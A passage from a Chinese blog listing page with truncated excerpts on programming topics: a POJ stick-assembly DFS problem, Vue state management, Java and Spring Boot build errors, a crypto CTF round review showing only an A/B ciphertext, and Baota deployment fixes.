    题目地址:http://poj.org/problem?id=1011 题目大意 给出n个小木棒,组合成若干长度最短棍子 解题思路 首先将木棒从大到小排序 dfs(k, l), k是还剩多少木棒没用, ...

  5. vue 状态管理 一、状态管理概念和基本结构

    系列导航 vue 状态管理 一.状态管理概念和基本结构 vue 状态管理 二.状态管理的基本使用 vue 状态管理 三.Mutations和Getters用法 vue 状态管理 四.Action用法 ...

  6. zzuli1895: 985的0-1串难题

    //解法:用二分查找,如果当前位置是'1',则查找比这个位置多k+1个零的位置,如果当前位置是'0',则查找比当前位置多k个零的位置, 注意要在末尾添个最大的值 #include<iostrea ...

  7. java: 程序包xxx.xxx.xxx不存在

    1.问题 在拷贝进来一个文件夹/文件进入项目后,发生报错:java: 程序包com.itheima.mp.domain.query不存在 2.解决 这里主要是由于我们的文件直接拷贝进来,导致编译的时候 ...

  8. 关于spring-boot-starter-parent 3.1.2和3.1.5版本的区别导致的错误

    1.问题 在学习黑马程序员SpringBoot3+Vue3全套视频教程时,手动配置springboot项目时,由于之前spring-boot-starter-parent安装的版本是3.1.5,视频要 ...

  9. NSSCTF Round#11 Basic 密码个人赛复盘

    [NSSRound#11 Basic]ez_enc ABAABBBAABABAABBABABAABBABAAAABBABABABAAABAAABBAABBBBABBABBABBABABABAABBAA ...

  10. 宝塔部署 springboot 项目遇到的 一些bug处理方案

    1,上传的项目(jar包)的数据库用户名 .密码 , 和服务器的数据库用户名.密码不一致 2,数据库的表结构没有创建 3, 宝塔 phpmyadmin 进不去 原因: 服务器没有放行888端口, 宝塔 ...